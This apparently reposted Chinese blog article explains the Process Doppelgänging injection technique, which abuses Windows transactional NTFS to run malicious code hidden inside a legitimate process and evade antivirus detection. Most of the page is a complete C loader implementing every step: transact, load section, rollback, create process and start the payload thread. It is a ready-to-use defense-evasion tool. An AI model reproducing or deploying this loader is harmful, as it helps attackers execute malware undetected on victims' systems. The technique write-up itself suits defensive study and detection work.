经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
Process Doppelgänging
来源:cnblogs  作者:Bl0od  时间:2020/11/16 10:23:34  对本文有异议

进程注入:Process Doppelg?nging

攻击者可以通过Process Doppelg?nging将恶意代码注入到进程中,从而逃避基于进程的防护,并且进行可能的特权提升。Process Doppelg?nging是一种在单独的活动进程的地址空间中执行任意代码的方法。

Vista中引入了Windows事务NTFS(TxF)作为执行安全文件操作的方法。为确保数据完整性,TxF仅允许一个事务处理句柄在给定时间写入同一个文件。在写句柄事务终止之前,所有其他句柄均被隔离,只能读取打开该句柄时已存在的文件的提交版本。为避免损坏,如果系统或应用程序在写事务期间发生失败,TxF将执行自动回滚。

尽管已被弃用,但直至Windows 10,仍可使用TxF应用程序编程接口(API)。

攻击者可能滥用TxF来执行Process Injection的无文件变体。与“Process Hollowing”类似,Process Doppelg?nging通过替换合法进程的内存,使恶意代码得以隐蔽执行,从而逃避检测。Process Doppelg?nging对TxF的利用也避免了使用被杀软重度监控的API功能,例如NtUnmapViewOfSectionVirtualProtectEx,和SetThreadContext

Process Doppelg?nging分为4个步骤:

  • Transact – 使用合法的可执行文件创建TxF事务,然后使用恶意代码覆盖该文件。这些更改与外部隔离,并且仅在当前事务上下文中可见;
  • Load – 从内存中创建一个共享Section用于加载覆盖后的恶意可执行文件;
  • Rollback – 撤消对原始合法可执行文件的更改,从而有效地从文件系统中清除恶意代码;
  • Animate – 从内存中恶意代码所在的Section处创建一个进程并启动执行。

由于被注入进程是从实现注入的进程中创建的(继承了安全上下文),因此该行为应该是不会导致特权提升的。但是,由于执行过程隐藏于合法进程下,因此通过process doppelg?nging执行可以避开安全产品的检测。

在测试的时候,发现在64位系统下,32位的process doppelg?nging将会失败,只能使用64位的注入;32位系统下的process doppelg?nging则正常。

  1. #include "winntos.h"
  2. #include "stdio.h"
  3. #include "ktmw32.h"
  4. #define MAX(a, b) (a > b? a:b)
  5. #define MIN(a, b) (a > b? b:a)
  6. #pragma comment(lib, "ktmw32.lib")
  7. INT wmain(INT argc, WCHAR* argv[]) {
  8. if (argc < 3) {
  9. printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>\n\n");
  10. return 1;
  11. }
  12. NtCreateSection ntCreateSection = NULL;
  13. NtCreateProcessEx ntCreateProcessEx = NULL;
  14. RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
  15. NtQueryInformationProcess ntQueryInformationProcess = NULL;
  16. RtlInitUnicodeString rtlInitUnicodeString = NULL;
  17. NtCreateThreadEx ntCreateThreadEx = NULL;
  18. HMODULE ntdll = LoadLibrary(L"ntdll.dll");
  19. if (ntdll) {
  20. ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
  21. if (ntCreateSection)
  22. printf(" Succeed get funtion NtCreateSection Address : %#llx :)\n", (DWORD)ntCreateSection);
  23. else {
  24. printf(" Fail get funtion NtCreateSection Address :(\n");
  25. return 1;
  26. }
  27. ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
  28. if (ntCreateProcessEx)
  29. printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)\n", (DWORD)ntCreateProcessEx);
  30. else {
  31. printf(" Fail get funtion NtCreateProcessEx Address :(\n");
  32. return 1;
  33. }
  34. rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
  35. if (rtlCreateProcessParametersEx)
  36. printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)\n",
  37. (DWORD)rtlCreateProcessParametersEx);
  38. else {
  39. printf(" Fail get funtion RtlCreateProcessParametersEx Address :(\n");
  40. return 1;
  41. }
  42. ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
  43. if (ntQueryInformationProcess)
  44. printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)\n",
  45. (DWORD)ntQueryInformationProcess);
  46. else {
  47. printf(" Fail get funtion NtQueryInformationProcess Address :(\n");
  48. return 1;
  49. }
  50. rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
  51. if (rtlInitUnicodeString)
  52. printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)\n",
  53. (DWORD)rtlInitUnicodeString);
  54. else {
  55. printf(" Fail get funtion RtlInitUnicodeString Address :(\n");
  56. return 1;
  57. }
  58. ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
  59. if (ntCreateThreadEx)
  60. printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)\n",
  61. (DWORD)ntCreateThreadEx);
  62. else {
  63. printf(" Fail get funtion NtCreateThreadEx Address :(\n");
  64. return 1;
  65. }
  66. }
  67. else {
  68. printf(" Load ntdll.dll Failed :(\n");
  69. return 1;
  70. }
  71. WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
  72. WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
  73. HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
  74. CHAR *szInjBuff = NULL;
  75. wcscpy(szSrcFile, argv[1]);
  76. wcscpy(szInjectFile, argv[2]);
  77. do {
  78. hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
  79. if (INVALID_HANDLE_VALUE == hInjFile) {
  80. if (GetLastError() == ERROR_FILE_NOT_FOUND)
  81. printf(" The File To Be INJECTED NOT FOUND :(\n");
  82. else
  83. printf(" OPEN injected file ERROR :(\n");
  84. break;
  85. }
  86. DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
  87. szInjBuff = (CHAR*)malloc(dwInjFileSize);
  88. if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
  89. printf(" read injected file error :(\n");
  90. break;
  91. }
  92. hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
  93. if (INVALID_HANDLE_VALUE == hTx) {
  94. printf(" create transaction failed :(\n");
  95. break;
  96. }
  97. hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
  98. if (INVALID_HANDLE_VALUE == hTransFile) {
  99. printf(" append black file transacted failed :(\n");
  100. break;
  101. }
  102. DWORD dwWrittenBytes = 0;
  103. if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
  104. printf(" write target file failed :(\n");
  105. break;
  106. }
  107. printf(" Write To Target File success :)\n");
  108. hSection = NULL;
  109. if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
  110. printf(" CreateSeciotn Failed :( %#x\n", GetLastError());
  111. break;
  112. }
  113. // succeed map file as image
  114. printf(" CreateSeciotn Success :)\n");
  115. if (!RollbackTransaction(hTx)) {
  116. printf(" RollBackFile Failed :( %#x\n", GetLastError());
  117. break;
  118. }
  119. printf(" RollBackFile Success :)\n");
  120. hProcess = NULL;
  121. hCurProcess = GetCurrentProcess();
  122. if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
  123. printf(" create process failed :( %#x\n", GetLastError()); // 失败
  124. break;
  125. }
  126. printf(" create process SUCCESS :)\n");
  127. PROCESS_BASIC_INFORMATION pbi;
  128. DWORD ReturnLength = 0;
  129. /* 获取注入进程的PEB数据块信息 */
  130. if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
  131. printf(" query process pbi failed :( %#x\n", GetLastError());
  132. break;
  133. }
  134. SIZE_T size = 0, imgBase = NULL;
  135. CHAR tmp[0x100] = { 0 };
  136. ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size);
  137. imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress; // PEB获取注入进程基址
  138. printf(" image base: %#llx\n", imgBase);
  139. PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
  140. UNICODE_STRING dstUniStr;
  141. rtlInitUnicodeString(&dstUniStr, szSrcFile);
  142. if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
  143. NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
  144. printf(" Create ProcessParameters failed :( %#x\n", GetLastError());
  145. break;
  146. }
  147. printf(" Create ProcessParameters SUCCESS :)\n");
  148. HANDLE ThreadID = NULL;
  149. LPVOID paramBaseAddr = NULL;
  150. ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
  151. ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
  152. size = end - start;
  153. if (!VirtualAllocEx(hProcess, (LPVOID)start, size,
  154. MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
  155. printf(" VirtualAllocEx processParams failed :( %#x\n", GetLastError());
  156. break;
  157. }
  158. if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
  159. printf(" Write USER PROCESS PARAMETERS failed :( %#x\n", GetLastError());
  160. break;
  161. }
  162. if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
  163. printf(" Write USER PROCESS PARAMETERS Address failed :( %#x\n", GetLastError());
  164. break;
  165. }
  166. PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
  167. LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
  168. printf(" entry point: %#llx\n", entry);
  169. if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
  170. (LPTHREAD_START_ROUTINE)entry,
  171. NULL, FALSE, 0, 0, 0, NULL)) {
  172. printf(" Create Thread failed :( %#x\n", GetLastError());
  173. break;
  174. }
  175. printf(" Create Thread Success :)\n");
  176. /*if (!CreateRemoteThread(hProcess, NULL, NULL,
  177. (LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
  178. NULL, NULL, &ThreadID)) {
  179. printf(" Create Thread failed :( %#x\n", GetLastError());
  180. break;
  181. }
  182. printf(" remote thread id: %#x\n", ThreadID);*/
  183. } while (0);
  184. VirtualFree(szInjectFile, 0, MEM_RELEASE);
  185. VirtualFree(szSrcFile, 0, MEM_RELEASE);
  186. VirtualFree(szInjBuff, 0, MEM_RELEASE);
  187. if (hTransFile)
  188. CloseHandle(hTransFile);
  189. if (hTx)
  190. CloseHandle(hTx);
  191. if (hInjFile)
  192. CloseHandle(hInjFile);
  193. if (hCurProcess)
  194. CloseHandle(hCurProcess);
  195. if (hSection)
  196. CloseHandle(hSection);
  197. if (hProcess)
  198. CloseHandle(hProcess);
  199. return 0;
  200. }

参考:

https://attack.mitre.org/techniques/T1055/013/

https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

原文链接:http://www.cnblogs.com/zUotTe0/p/13766038.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号